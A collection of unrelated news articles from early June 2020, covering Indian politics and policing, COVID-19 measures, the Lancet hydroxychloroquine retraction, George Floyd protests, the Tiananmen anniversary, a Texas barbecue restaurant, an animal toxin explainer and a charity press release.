Gogoi's stand against illegal foreigners has also found mention in the charge sheet.

"...we will not accept any foreigner either Hindu or Muslim. We will not accept, will not accept, and will not accept," the NIA said, referring to a video downloaded from Facebook where he addressed the media on April 1 this year.

The agency also made the peasant leader's call for an economic blockade by stopping transportation of "natural resources from here like...crude oil, coal, tea, limestone etc..." to accuse him of involvement in terror activities.

The NIA alleged that Gogoi had several secret meetings with members of the CPI(Maoist) and even sent around 15 cadres/members of KMSS in batches of five each to train in the camps of the underground ultra-Left outfit.

"They were imparted with training in their ideology, handling of arms and explosives, tactics of mass mobilisation to carry seditious activities in grab of opposing lawfully established government," it added.

The charge sheet claimed the accused have for long been "organising seditious activities disrupting government works" in Assam in the name of dissent. It said their activities had "tactical resemblance" with the modus operandi of the CPI(Maoist).

Gogoi was arrested on December 12 from Jorhat as a "preventive measure" in view of the deteriorating law and order situation in the state during the protests against the CAA.
New Delhi, June 5 : While the national capital is all set to enter the second phase of the 'Unlock' where various public spaces like places of religious worship are being opened, north west Delhi's Tarun Enclave is keeping the haunt of lockdown days alive.

The area, which got its first case on May 24, saw a rapid rise in the cases and by the onset of June, it became a cluster of cases following which the authorities decided to convert it into a containment zone.

"Now therefore, in exercise of the powers conferred upon the District Authority under various provisions of Disaster Management Act, 2005 read with the Delhi Epidemic Diseases, COVID-19 Regulations, 2020 and after consultation with DTF & Rapid Response Team of North West District, I, Sandeep Mishra, District Magistrate, District North West hereby declare the following areas as Containment Zone and Buffer Zone to prevent the further spread of COVID-19," an official order reads.

On May 24, after the first case was reported in the area, as per precautionary protocol, the local police cordoned off the area and further the whole area was sanitized in order to remove the possibility of community transmission.

Immediately after the detection, two teams were formed to conduct house to house survey in Tarun Enclave, Pitampura. Following this, the authorities urged the DM for sealing off the area, banning entry and exit of the population from the containment area.

In the said area, from house no. 130-340, more than 750 people have been asked to live in self quarantine while the said specific area has been made a containment zone, the whole area of Pitampura has been put under the "buffer zone" category.

It is being widely reported that the cases came up after a maid kept working daily in a household and didn't stop even during the nationwide lockdown. The virus spread from this woman to the children of the household and from the children to the other members of the family.

While the children of the said house, who went out to play with other children, spread the COVID-19 virus among their friends, the adults too were active spreaders of the virus as they regularly visited the nearby park and thus the infection spread rapidly.

IANS made several attempts to contact Sandeep Mishra, District Magistrate, north west Delhi, however, the officer didn't respond.

According to the Health Ministry data as of Friday morning, the national capital has more than 25,000 confirmed cases, including 650 who succumbed to it while 9,898 have recovered and have been discharged from the hospitals.
A paper published in medical journal The Lancet which halted global trials of hydroxychloroquine as a treatment for coronavirus has been retracted.

An investigation by The Guardian found inconsistencies in the papers data, prompting lead author Professor Mandeep Mehra to ask the journal for a retraction as he could no longer vouch for its accuracy.

Hydroxychloroquine, an antimalarial drug, was undergoing trials to find out if it could help treat patients with Covid-19. But after The Lancet published Prof Mehras paper, the World Health Organisation and several countries suspended randomised controlled trials, which have now been restarted.

Prof Mehra, of the Brigham and Womens Hospital in Boston, Massachusetts, said after concerns were raised about the data provided for the research by US company Surgisphere, an independent audit company was called in to examine the database.

The independent audit aimed to ensure the database relied upon did in fact contain data from more than 96,000 Covid-19 patients from 671 hospitals worldwide, and ensure it was accurate and obtained properly.

Surgisphere chief executive Sapan Desai, who was also a co-author of the paper, gave Prof Mehra consent to launch the peer review, but it is claimed Mr Desai then withheld the data from the investigators.

Our independent peer reviewers informed us that Surgisphere would not transfer the full dataset, client contracts, and the full ISO audit report to their servers for analysis as such transfer would violate client agreements and confidentiality requirements, said Prof Mehra in a statement on Thursday.

As such, our reviewers were not able to conduct an independent and private peer review and therefore notified us of their withdrawal from the peer-review process.

Based on this development, we can no longer vouch for the veracity of the primary data sources. Due to this unfortunate development, the authors request that the paper be retracted.

Richard Horton, editor of The Lancet, told The Guardian: This is a shocking example of research misconduct in the middle of a global health emergency.

The Guardians investigation found a list of concerns, including suggestions that several Surgisphere employees had little or no scientific background and the company had barely any online presence despite claiming to run one of the largest hospital databases in the world.

Mr Desai had also been named in three medical malpractice suits, which he described to the Scientist in an interview as unfounded.

A statement published on Surgispheres website on 29 May, a week after The Lancet published the paper, said the authors clearly stated that the results of our analyses should not be over-interpreted to those that have yet to develop such a disease or those that have not been hospitalised.

We also clearly outlined the limitations of an observational study that cannot fully control for unobservable confounding measures, and we concluded that off-label use of the drug regimens outside of the context of a clinical trials should not be recommended, it added.

The New England Journal of Medicine also retracted a paper based on a database provided by Surgisphere soon after The Lancets retraction, which was also co-authored by Prof Mehra and Mr Desai.

That study, titled Cardiovascular Disease, Drug Therapy and Mortality in Covid-19, purportedly included data from coronavirus patients from 169 hospitals in 11 countries. But in a statement, the authors said primary data sources could not be validated as all the authors were not granted access to the raw data and the raw data could not be made available to a third-party auditor.
Bhopal, June 5 : Balendu Shukla, a former Madhya Pradesh minister and childhood friend of late Congress veteran Madhavrao Scindia, quit the BJP on Friday and rejoined the Congress.

His exit from the BJP, coming just a couple of months after Jyotiraditya Scindia's entry into the BJP, would help the Congress in the Gwalior-Chambal, claim the party sources.

Shukla re-joined the Congress on Friday afternoon at a small gathering at former Chief Minister Kamal Nath's residence.

He had felt slighted in the Congress with the ascendance of Jyotiraditya Scindia after Madhavrao Scindia's death.

Shukla, the PHE minister in the then Congress government in the 1980s, was among those Jyotiraditya Scindia had "antagonised with his brash ways", say party insiders.

He started distancing himself from the palace, quit the Congress in 2009 and finally moved into the BJP after a brief stint with the BSP.

Shukla was marginalised following Jyotiraditya Scindia's entry into the BJP and widely expected to leave it. With his return to the parent party, Shukla could be a Congress candidate from Gwalior East Assembly constituency in the by-elections.
With Muthappa Rai's death ended a life that highlighted the dark side of Bengaluru's often delirious growth to become India's IT capital, notes Vikram Gopal.

Illustration: Dominic Xavier/Rediff.com

IMAGE: Muthappa Rai's notoriety reached its peak after he survived a murder attempt in a courtroom, where a gunman shot him five times.

A hearse made its way slowly across Bengaluru on May 15, flanked by a convoy of SUVs and supporters showering flower petals along the route.

Casual onlookers might have mistaken the dead man for a political leader, but it was in fact the funeral of former underworld don Muthappa Rai.

Rai, 68, had died earlier that day after he lost the battle with cancer. With him ended a life that was symptomatic of the dark side of Bengaluru's often delirious growth to become the IT capital of the country.

This metamorphosis of the city was shadowed by Rai's own life. Born in a small town called Puttur in the coastal district of Dakshina Kannada, Rai started out as a clerk at Vijaya Bank, where he was hired to help defeat the employees union.

In the middle of the 1980s, he shifted from Puttur to Bangalore (as it was then known) to run a bar. This was when he had his first brush with the underworld.

By the end of that decade, Rai stamped his imprint on the city's underworld after he masterminded the murder of M P Jayaraj, Bengaluru's first don, with the help of the Mumbai underworld.

A few years later, Rai's notoriety reached its peak after he survived a murder attempt in a courtroom, where a gunman shot him five times.

Rai fled to Dubai in 1996, where he was arrested and extradited to India. He was acquitted in all the cases against him and subsequently transformed into a real estate baron and leader of a political organisation.

Rai was in many respects the beneficiary of a near complete overhaul of Bengaluru.

From 2.5 million in 1981, the city's population grew to 6.54 million in 2001, and by 2011 it had reached 9.62 million.

This rapid rise was also mirrored in the huge growth in the physical dimensions of the city.

This provided Rai, and many others like him, opportunities to exploit a justice system creaking under the burden of history and a civic administration that could barely cope with the huge increase in population.

Speaking about that time, Rai's former nemesis and another reformed gangster Agni Sridhar says it was apparent to all those who lived in the city at the time that Bengaluru was about to witness a boom.

Even then, Sridhar says, nobody could predict the massive impact that liberalisation and globalisation would have on the city after 1991.

"Land rates shot up beyond anybody's imagination. A one-acre plot that was earlier worth about Rs 1 lakh was suddenly worth Rs 1 crore," Sridhar says.

This increase in land prices led to an increase in litigation. "Courts just weren't able to cope with this," says Sridhar, whose autobiography, My Days in the Underworld, captures this shift.

This changed the character of the underworld as well. "Before the underworld turned to real estate, it was involved in resolving minor disputes not related to land, and in selling drugs," explains Sridhar.

"We realised that the real money was to be made in land litigation, because people were desperate for quick resolutions."

To be sure, Bengaluru had seen massive decadal increases in population earlier too. What had changed now was the influx of massive amounts of capital after liberalisation.

"Businessmen from across the country suddenly saw the tremendous opportunity the city provided at that time and a lot of capital splashed into the real estate sector," says Congress MLA K R Ramesh Kumar, who was speaker of the Karnataka assembly between 1994 and 1999, and once again in 2018-2019.

In an attempt to come to grips with this change in the city, the state government decided to bring more order into the management of its land records.

It digitised the records, through a programme called Bhoomi which was lauded by multilateral organisations.

However, rather than eliminate corruption, this centralisation of information led to a more sophisticated form of corruption, according to Solomon Benjamin, faculty at the Indian Institute of Technology Madras, who has studied Bengaluru's transition extensively over the past three decades.

"Earlier, it was a very localised kind of corruption at the village level. The programme centralised information to the district level, and this changed the institutional and political dynamics," Benjamin says.

This was where people like Rai came in.

"We found that specialised agents came into play to influence the land market when the government sought to acquire land for the IT industry in the late 90s and early 2000s," Benjamin says. "All this was aided by a centralised accessible system of land records," he says.

These interventions in ensuring development often translated into displacement for the oppressed.

Bengaluru's expansion into the hinterland often came at a huge cost for Dalits, says activist Mavalli Shankar.

"Most Dalit settlements did not have proper records." However, overt political intervention was not possible because Dalits in these areas were organised.

"In such cases, the political class relied on the underworld to address these problems, at times violently."

Around the 1990s there was also a shift in the economics of politics in the state.

It had so far been dominated by the private education and liquor lobbies, Sridhar says.

However, by the middle of the decade a new set of businessmen-politicians with access to land entered the fray.

"Over time, winning elections became more of an art than a contest of competing convictions. Every party was handing out election tickets to the rich," Ramesh Kumar says.

"Things changed with the influx of builders... governments became subordinate before them."

The dynamic changed in favour of real estate interests in politics in 2003, after S M Krishna, then the chief minister, floated a government undertaking through which liquor was to be traded, eliminating a thriving business in 'seconds', or non-duty-paid liquor, which had lubricated the political system for decades.

After this, the real estate lobby emerged as a dominant force, Kumar says. "All sorts of elements entered the political fray at the level of corporators and subsequently MLAs."

Attempting to make this change himself, Rai, too, floated a political organisation called Jaya Karnataka in 2008, seeking to promote 'Kannada identity'.

Politics though proved to be much harder to master, even for Rai. He never contested an election.

Political analyst Narendar Pani, faculty at the National Institute of Advanced Studies, says the rise of real estate interests in politics was symptomatic of a shift away from state patronage to one of individual, constituency-level patronage.

"This system required some amount of corruption, including the profits that accrued from real estate," Pani says.

"However, Rai and other criminal gangs were in fact on the fringes of politics. They supported politicians, but could never make it themselves."

Production: Rajesh Alva/Rediff.com
The summit hopes to raise more than US$7.5 billion for the development and equitable world-wide distribution of COVID-19 and other vaccines.

British Prime Minister Boris Johnson Thursday opened the Global Vaccine Summit, a virtual gathering of more that 50 countries, to raise funds for the UN-backed public-private health alliance known as GAVI, with the goal of ensuring vaccines are available to all.

In his remarks from London, Johnson pledged Britain will contribute just over US$2 billion to the GAVI vaccine alliance over the next five years. Along with creation of a COVID-19 vaccine, Johnson also called on nations to replenish funding for vaccines that already exist.

In a recorded video message, UN Secretary-General Antonio Guterres called for global solidarity to ensure every person everywhere has access to any COVID-19 vaccine that is produced, and for the network that is used to share that vaccine be used to deliver a range of basic health services.

Using data provided by governments around the world, Johns Hopkins University reports the COVID-19 pandemic has killed more than 386,000 worldwide and crippled economies. Restrictions imposed to prevent the virus from spreading have further hampered efforts to deliver regular vaccinations and other health services around the world.
Kerala Forest Department has taken three people in custody and search for two more people is on in connection with the pregnant elephant death. On May 27, a news report became viral that a pregnant elephant in Kerala's Palakkad district died after eating pineapple stuffed with crackers, allegedly placed by some locals. The pregnant wild elephant stood for a whole day in the Velliyar river area in Palakkad before collapsing to death on May 27.

"In the offence registered as per the sections of WL (P)A for hunting the elephant, several suspects are being interrogated. The SIT formed for the purpose is making significant headway in this regard. The Forest Department will leave no stone unturned to ensure maximum punishment to the offenders," the department said in a tweet.

The death of the elephant and the trauma she went through has caused huge outrage, with people calling for strong action against the perpetrators.

The state police launched a probe to catch the culprits and have filed a First Information Report (FIR). The incident came to light after a forest officer narrated the details of the horrific death on social media. The case was registered under the Wild Life (Protection) Act and Explosives Act and Prevention of Cruelty to Animals Act.

Chief Minister Pinarayi Vijayan also said that three suspects were under the scanner of teams probing the gory death of a pregnant wild elephant.

"An investigation is underway, focusing on three suspects. The police and forest departments will jointly investigate the incident. The district police chief and the district forest officer visited the site today. We will do everything possible to bring the culprits to justice," Vijayan wrote on Twitter.

In the preliminary post-mortem report, it was revealed that the pregnant wild elephant died as a result of drowning. This was followed by inhalation of water that led to lung failure, which has been identified as the immediate cause of death.

The report also confirmed the presence of major wounds and injuries in the elephant's oral cavity that caused localised sepsis. The oral injury restricted the animal from taking food or water for nearly two weeks, it said.

Union Environment Minister Prakash Javadekar stated it was not in the Indian culture to feed firecrackers and kill and that the government would not leave any stone unturned to bring the culprit to book.

BJP MP and former Union minister Maneka Gandhi also expressed her grief on Twitter over the death of the preganant elephant. However, she goofed up with the place name where the incident happened. Gandhi wrote "Malappuram" was known for "its intense criminal activity", especially "with regard to animals." In reality, the elephant died in Palakkad district.

Member of Parliament Shashi Tharoor said, "The death of the pregnant elephant moved me terribly, but the disinformation being circulated around it by motivated people needs to be spiked immediately. The incident did not happen in Muslim-majority Malappuram district but in Palakkad. Rahul Gandhi is not MP from there."

Voicing concern over the incident, Bollywood celebrities including Anushka Sharma, Shraddha Kapoor and Randeep Hooda also demanded strict action against the culprit.

(With PTI inputs)
" " Is a rattlesnake poisonous or venomous? And what about the blue dart frog? Don Farrall/Martin Harvey/Getty Images/HowStuffWorks

If you have just been bitten by a terrifying snake, this is not the article for you. If you're hustling to the hospital with twin puncture wounds in your shin and Googling for remedies you can do in the passenger seat of the car while your friend frantically drives you into town, keep scrolling those search results. By the way, you're doing great. Don't forget to breathe.

Nor will this article delve into the relative qualities of "Toxic" by Britney Spears or "Poison" by Bell Biv DeVoe, though that is a piece of cultural criticism the world could use.

What this article will provide is the ammunition you need to win that argument on social media or with your know-it-all cousin. Because you're right: Poisonous and venomous do not mean the same thing.

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Who's Doing the Biting?

Poisonous creatures and venomous creatures are both bad news as they both involve toxic substances that cause physical effects. The delivery of that toxin is what makes the difference. Poison is passive: You have to bite or touch the animal for that animal to deliver its toxin. Venom is active: The creature has to bite you (or sting or poke you) for the toxin to get into your body.

So the aptly named poison frog, which secretes a toxin on its skin, has to be touched or licked to harm its enemy. The pufferfish, which is famously poisonous but edible, has to be prepared meticulously in order to be eaten. Poisonous animals and mushrooms are often brightly colored as a warning to predators: Don't eat or touch me!

Not all toxins are the same. Some only make a creature taste bad, like the monarch butterfly, though others are incredibly lethal, like the toxins from the golden poison frog or fly agaric mushroom.

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A Toxic Who's Who

A rattlesnake is venomous because it fills its fangs with its toxin and directly injects that into its foe. The platypus, maybe surprisingly, is also venomous. The males have spurs on their ankles that they use on predators.

There are even a few creatures that are both venomous and poisonous. The blue ringed octopus is one of those lucky few. It has a venomous bite, but if that doesn't stop predators from trying to eat it, it's also poisonous once it's in their belly. Yikes.

Some people believe mongooses are toxic, but actually they're just better at handling toxins than almost any other animal on the planet. They kill and eat notoriously venomous snakes like cobras. Armed with your new knowledge, you can probably see the trick now. Cobras are venomous, not poisonous. So the mongoose is ingesting the cobra's toxin, which gets broken down by the acids in the mongoose's stomach. Also, the mongoose can tolerate a little bit of snake venom.

Even plants can be counted as venomous or toxic. Poison ivy is correctly named, as its toxin is delivered by merely touching its leaves. Stinging nettles are venomous, if you're being generous with the term, because they deliver their irritating toxin via spines.

Now That's Gross There's a third category of toxin delivery: toxungen. That's when a toxin is delivered by spitting or spraying it on the enemy. It's a small category, but it contains one well-known stinker: the skunk.
Source: Xinhua| 2020-06-05 13:03:51|Editor: huaxia

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CAPE TOWN, June 5 (Xinhua) -- Nelson Mandela Foundation on Thursday condemned police brutality against the black people in the United States, where the death of African American George Floyd has set off turbulent mass protests.

"More than 1,000 Black people die at the hands of police in the U.S. every year," the foundation said, adding "mass incarceration, predictive policing, targeted surveillance and a host of other tools render Black lives more vulnerable than all others."

Floyd, 46, died after Minneapolis police officer Derek Chauvin kneeled on his neck for almost nine minutes. Two separate autopsies released Monday found Floyd's death to be a homicide.

The protests across the United States have forced dozens of cities to impose curfews.

The foundation, a non-profit organization established by Nelson Mandela in 1999 to promote freedom and equality, called for sober assessment of a resilient White supremacy in the United States.

"Black lives matter enough to warrant getting out in the streets and demanding an end to a system which creates the conditions for (and legitimizes) violence against Black bodies," it said. Enditem
To add to the woes of the novel coronavirus pandemic, Yo Mamas Pit BBQ in the historic district of downtown Montgomery suffered another major blow to business after a recent storm damaged the business.

Located at 300 John A Butler Street, Yo Mamas Pit Bbq offers oak, wood fired Texas barbecue, including brisket, pork spare ribs, sausage and chicken by the sandwich, plate or pound.

Weve got the best brisket in the world. Weve got the best brisket and best ribs in Montgomery County. We will put ours against anybody, said Owner Kelvin Arnsworth, who claims theres no need for teeth to eat my beef.

But he confirmed the small, family-run barbecue business that he opened 27 years ago was forced to temporarily shut down in the past couple of weeks after suffering major storm damage.

A little small tornado come through, ripped the roof off of it, blew the back of the building off, and sucked the electric pole out of the ground and snapped it off at the bottom, Arnsworth said. We had a disaster here for a while.

The trouble rained down at a time when many businesses are experiencing hardship due to the public health crisis that has also prompted economic downturn, including in Montgomery where there are at least five barbecue shops in town.

Everybody serves barbecue because there is always money in barbecue, Arnsworth said. But with the price of meat sky-rocketing high, briskets are $3.49 to $5.69, Sams has it for $6.19 a pound. Everybody says how are you going to compete? Well, we cant.

We just have to do the best we can every day, he continued. With the pandemic, the price of meat and everything went up. Supplies went up, trays went up, stuff for potato salad went up, so we had to raise the prices a little bit in here. The customers are not happy, but they understand.

Strong in his faith but facing trials and tribulations, Arnsworth said at one point after the storm he threw up his hands and made a Facebook post.

I didnt say I give up, but I just said its overwhelming and I need help, he added. I had friends from all over come and help me.

Arnsworth estimated at least 20 people answered the call for help, from Montgomery Mayor Sara Countryman to a person who traveled from as far away as Hempstead. Even Buddy Adams with The Meating Place BBQ offered to let Arnsworth use his cook shack, he said.

The group of people helped rip out and replace walls and floors, working through the night to get the business reopened. The mayor coordinated with Entergy to get the new electrical pole put into the ground and get the electricity running again, he said.

We wouldnt going to let the people down because the people walk through this door asking, Are you open? Are you open? Within probably 20 minutes we probably had 22 missed calls, Arnsworth said. People were steadily calling, steadily calling. Are you open? Are you guys OK? Are you open?

The new Chick-fil-A, which celebrated its grand opening about two weeks ago on Texas 105 and Lone Star Parkway, also posted on social media about the barbecue restaurant getting struck with bad luck and chose to show a little southern hospitality by bringing over sandwiches and sweet tea for the workers.

We decided to do our part for a Montgomery neighbor and bring them food and smiles, Chick-fil-A stated in the post. #WeAreInThisTogether #CFA105Lonestar

In less than a week, the business reopened by last Friday. The business is open 11-7 p.m. Tuesday through Sunday. It is closed on Monday.

Arnsworth believes the work would have taken much longer to complete without the help of the community. He shared loyal customers have also helped the business, which slowed down and then almost closed because of the pandemic.

It recently picked up, he said. Its not back to where it is normal. But its there. Its doing OK. We are still getting call in orders and feeding the people. I mean loyal customers that buy a pound, two pounds a day, they havent left yet.

Arnsworth opened the business in 1992 and runs it with his brother Kenneth.

There was no good barbecue in this town, he said. We opened it up as a joke, yo momma was the biggest joke in town. Everybody laughed and grinned but once they tried our food, they aint never left.

After the storm hit, Arnsworth climbed on top of the red, wooden restaurant with an American flag. He stills swells up thinking about it, he said, remembering his conversation with the guys.

We took the flag and stabbed it in the top of the roof where there was no roof, he recalled. The wind was blowing as I sat on top of the roof. I said, we are going to put our flag in our battle spot. Everybody laughed and grinned, but there was not a dry eye in the house when we put that flag up and the wind blew.

His sister came by and shared with him that she believed that was the spirit of their father, who passed away five years ago. Arnsworth said their father was there when he opened and always supported the business with pride in his family, love for the food, an invitation for friends, and an order to go for the lean end of brisket for their mother.

Even when we wanted to give up, he was always there, he was always pushing us all, he said. He would say winners never quit and quitters never win.

And he thanks the community for helping him keep the familys barbecue business cooking.

Hard to believe, but just a little country town that come together and help you in situations where most places wouldnt help you, Arnsworth said. But our little town, we would just like to say, thank you.

mellsworth@hcnonline.com
Donald Trump was yesterday facing questions about whether military chiefs fully back his handling of the anti-racism protests after an excoriating rebuke by his former defence secretary gained the support of a Republican senator.

The US president tried to wave away a searing critique by Jim Mattis, his Pentagon chief until December 2018, by claiming he fired Mr Mattis - who resigned over Syria policy disagreements - and calling him "the world's most overrated general".

However, Mr Mattis's 640-word statement, which saw him argue Mr Trump was the only American president in history who tried to divide rather than unite the country, was backed by one of the party's prominent moderates.

Lisa Murkowski, the Republican senator from Alaska, said: "I thought General Mattis's words were true and honest and necessary and overdue."

Asked if she still supported Mr Trump, she replied: "I am struggling with it. I've struggled with it for a long time."

While some dismissed Ms Murkowski's criticism - she voted against impeaching the president over the Ukraine scandal just four months ago - the rebukes from past military leaders have been mounting.

Chief among them was that of Mr Mattis, a four-star general who Mr Trump picked as his defence secretary when he took office in January 2017.

"I have watched this week's unfolding events, angry and appalled," Mr Mattis began in his statement to 'The Atlantic' magazine.

"Donald Trump is the first president in my lifetime who does not try to unite the American people - does not even pretend to try. Instead, he tries to divide us," Mr Mattis said.

"We are witnessing the consequences of three years without mature leadership."

Mr Mattis was not the only defence figure distancing themselves from the president. Mark Esper, the current defence secretary, hours earlier had said he opposed the use of active-duty troops to counter protesters - something Mr Trump had floated.

Mike Mullen, a former chairman of the Joint Chiefs of Staff, an advisory council for defence, said Mr Trump's actions in Lafayette Square had "laid bare his disdain for the rights of peaceful protest".

It emerged last night that the American Civil Liberties Union and others have filed a lawsuit against the Trump administration, alleging officials violated the civil rights of protesters who were forcefully removed from a park near the White House by police using chemical agents before Mr Trump walked to a nearby church to take a photo.

The lawsuit was filed yesterday in federal court in Washington. It argues that Mr Trump, Attorney General William Barr and other officials "unlawfully conspired to violate" the protesters' rights when clearing Lafayette Park on Monday.

Meanwhile, celebrities, musicians and politicians filed into a sanctuary in front of the golden casket of George Floyd for a memorial service as mourners began a three-city farewell.

The service unfolded at North Central University as a judge a few blocks away set bail at $750,000 (662,000) each for the three fired Minneapolis police officers charged with aiding and abetting murder in his death. Mr Floyd, a 46-year-old out-of-work bouncer, died on May 25 after a white police officer, Derek Chauvin, put his knee on Mr Floyd's neck for several minutes as he lay handcuffed on the pavement, gasping that he couldn't breathe.

Mr Chauvin has been charged with murder, and he and the others could get up to 40 years in prison.

"He was a human being. He had family, he had dreams, he had hopes. The real duty of one with this type of assignment is to underscore the value of the human life that was taken, which gives the reason the movement was occurring," civil rights leader Reverend Al Sharpton said ahead of the gathering.

Inside the sanctuary, the casket was flanked by white and purple flowers, and an image was projected above the pulpit of a mural of Mr Floyd with the message: "I can breathe now." ( Daily Telegraph, London)
SRINAGAR: Indicating a change in their strategy, the security forces operating in Jammu and Kashmir are now targeting the supporters of Pakistan-backed terrorists to weaken the terror network in the Kashmir Valley.

According to the Zee Media sources, the strategy is to weaken the local support being provided to the terrorists. As part of this strategy, about 135 supporters of terrorists have been arrested and nearly 125 others are on the radar of the security forces in J&K.

The Jammu and Kashmir Police has further tightened the grip on terrorists supporters in Kashmir. The list of suspected over-ground workers (OGW) is being revised in all districts as part of the efforts to cut the support network of these Pakistan-backed terrorists and freeze their movement.

According to sources, all district headquarters have been asked to update the list of suspected terrorist supporters and call them for questioning and get an update on the terror network.

The names of hundreds of local Kashmiris, suspected to be sympathisers of the terrorists, have been circulated to all the district police officers in the Kashmir Valley for necessary action.

The network of terrorists supporters is under the scanner following frequent attacks on the security personals, especially in south Kashmir. The J&K Police believes that these local supporters provide specific information about the security forces and help them in executing their nefarious plans.

This year, around 135 terror supporters have been arrested and 125 more are likely to be questioned soon for their alleged links with the terror groups.

IGP Kashmir Zone Vijay Kumar said, "We have arrested 135 OGWs and 125 are on the list. Very soon, we will get them for questioning.

We will put them in A, B and C category. A category will be booked under PSA and B category will be arrested and C Category will be counselled and released, he added.

A J&K Police officer said, We want to take out the water from the pond. The fish will automatically not survive." We want to target that support structure. Police officials believe that terrorists can survive longer if their local support network is strong, he added.

The anti-terror operations being conducted by the security forces in J&K have been very successful so far.

If numbers given by security forces are believed, at least 78 terrorists, including 20 top commanders of Pakistan-backed terror outfits, have been eliminated this year till date, and 22 have been captured alive in Jammu and Kashmir  an indication that the strategy is working.
US Presses China for 'Full Public Accounting' of 1989 Tiananmen Crackdown

By Nike Ching June 04, 2020

The United States marked the anniversary of China's deadly 1989 crackdown on pro-democracy protesters in Tiananmen Square by reiterating the call for "a full, public accounting of those killed or missing."

Tuesday, U.S. Secretary of State Mike Pompeo met with Wang Dan, Su Xiaokang, Liane Lee, Henry Li and other student leaders and survivors of the protests that were brutally put down by the Chinese Communist Party (CCP) on June 4, 1989.

"Thirty-one years later, the total number of missing or dead Tiananmen protesters is still unknown," said State Department spokesperson Morgan Ortagus in a Wednesday statement. "We reiterate our call for a full, public accounting of those killed or missing."

The student-led pro-democracy protests in Beijing's Tiananmen Square began on April 15, 1989, following the death of Hu Yaobang, a former CCP leader, who had worked to introduce democratic reform in China. The protests, which continued throughout the spring, focused corruption among China's elite as the protestors called for democratic reforms, and a fairer and more open society.

"The United States continues to applaud their aspirations, and the American people stand with the families still grieving their lost loved ones, including the courageous Tiananmen Mothers who have never stopped seeking accountability for their children's deaths, despite great personal hardship and risk," said Ortagus.

Although China has never released an official death toll for the massacre, human rights groups believe several hundred to several thousand people were killed when tanks rolled through Tiananmen Square to squelch the demonstrations on June 4 and June 5. Tiananmen means "Gate of Heavenly Peace."

Earlier Wednesday, Taiwan called for Beijing to apologize for the crackdown and account for what happened.

China's foreign ministry spokesperson rejected the criticism.

"The relevant remarks of the Taiwan authorities are totally nonsense," Zhao Lijian told reporters in Beijing. "As to the political disturbance in the late 1980s, China has drawn a clear conclusion."

Mainland China has long banned commemorations of the crackdown, censored mentions of it online and banned it from school curriculum.

Since 1990, an annual vigil in Hong Kong marking the Tiananmen Square crackdown has been attended by tens of thousands of people.

But for the first time in three decades, Hong Kong government banned this year's vigil, citing coronavirus concerns. It comes soon after China moved ahead with a plan to impose a national security law in Hong Kong.

"With this ban, and a disastrous national security law looming, it is not clear if Hong Kong's Tiananmen vigil will ever be allowed to take place again," said Amnesty International's Deputy Director for East and South East Asia Joshua Rosenzweig.

Wednesday evening, the State Department's Bureau of Democracy, Human Rights and Labor is hosting a virtual vigil to mark the 31st anniversary of Tiananmen Square.

"We are determined not to allow the CCP to erase the memory of Tiananmen Square, and hope this Virtual Candlelight Vigil will inspire human rights advocates around the world," said a senior official.

Tensions between the U.S. and China continue to escalate over COVID-19, Hong Kong, trade, Taiwan and other issues.

On Wednesday, the U.S. announced it will prohibit Chinese airlines from entering the country beginning on June 16 as part of an effort to pressure Beijing to allow American air carriers to resume flights to China.

The U.S. Department of Transportation said the move came after China did not conform with an existing deal between the two countries that addresses international travel.

China's recent decision to pass a national security law that would bypass Hong Kong's legislature to impose potentially draconian restrictions on Hong Kong citizens' civil liberties was met with strong criticism from countries including Australia, Canada, the United States and the United Kingdom.

"We must internationalize the Hong Kong issue as much as possible," said a group of American experts and former U.S. officials.

"We should encourage U.S. legislation requiring appointment of a Special Envoy on Hong Kong who would be responsible for sustaining attention to the issue internationally and encouraging legislation and policies that track with the U.S. Hong Kong Human Rights and Democracy Act," said the experts from Washington-based Center of Strategic and International Studies.

U.S. President Donald Trump announced last Friday his decision to ban Chinese "certain" students and researchers with connections to the People's Liberation Army (PLA) or other Chinese security services from the United States, citing concerns over "illicit espionage to steal our industrial secrets."

China pushed back, saying Washington is "taking a backward step" that will only bring harm.

"The latest visa restriction on Chinese students and researchers was imposed by the U.S. side under an abused concept of national security and flimsy excuses. It severely undermines their legitimate rights and interests and runs counter to the common aspiration for friendly people-to-people, especially youth-to-youth exchange," said Zhao, the Chinese Ministry of Foreign Affairs spokesperson during a Tuesday briefing.

A senior State Department official said the number of Chinese nationals affected would be limited, adding Washington continues to welcome the majority of Chinese students who want to study at American universities.

"Because these calculations could vary significantly year on year and in order to preserve the potential effectiveness of this program, we won't characterize the breadth of its application beyond our estimate that it will affect only a small percentage of Chinese students and researchers," said the official.

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IRVING, Texas, June 5, 2020 /PRNewswire/ -- To further its mission of inspiring healthier, joyful communities, OneShare Health, an ACA-exempt, Christian Health Care Sharing Ministry, has announced that its 1Share For OneShare charity initiative will be partnering with Rett's Roost during the month of June.

"There are few things more important than strengthening the community," said CEO of OneShare Health Alex Cardona. "At OneShare Health, we are blessed to be involved with so many great and inspiring organizations across the country. Building up from grassroots and helping give back to some of our nation's greatest charitable initiatives is what it's all about. It's an honor to work with these organizations, and we look forward to every 1Share for OneShare partnership we are a part of!"

A philanthropic campaign designed to raise awareness through social media, 1Share For OneShare's number one goal is to support non-profits that align with the company's mission and vision. For every share the charity receives from social media users, the Christian healthshare will then donate $2 (up to $2,000) towards the non-profit. This month, that non-profit is Rett's Roost.

Based in Ogunquit, ME, Rett's Roost is a retreat center for families of children with cancer. Founded in June 2015 by Deana and Jim Cavan, Rett's Roost is on a mission to offer a sense of sanctuary and community to families who have been affected by childhood cancer or child loss.

According to the Cavans, who lost their infant son Everett to cancer in early 2015, these retreats have since provided "loving-kindness and supportive activities in a peaceful, natural setting" to 75 families from all over the U.S., Canada, and the U.K. With plans to introduce a Family Grant program in the near future, the Cavans said that they look forward to being able to help those who are struggling to find hope, peace, and joy in their lives.

In May, OneShare partnered with North Texas Relief, a charity founded by a dedicated group of men and women in March of this year with a mission to help senior citizens who've been affected by COVID-19 and are unable to support themselves. Following the social distancing guidelines, North Texas Relief has succeeded in gathering food and supplies for over 1,200 seniors and is currently helping 400+ seniors every month.

"It is incredibly energizing to deliver food to isolated seniors and see hope in their eyes and smiles on their faces," said co-founder Nirav Desai. "Seniors are scared and lonely, and the help we are offering brings them hope in this difficult time. It is rewarding to know that we can help community members who have great needs but are not served by anyone else. I love that this group creates an opportunity for diverse people across the community to come together and make a positive impact on society. We tap into goodness that is already out there."

To nominate a charity, visit OneShare Health's Mission in Motion page or follow OneShare Health on social media.

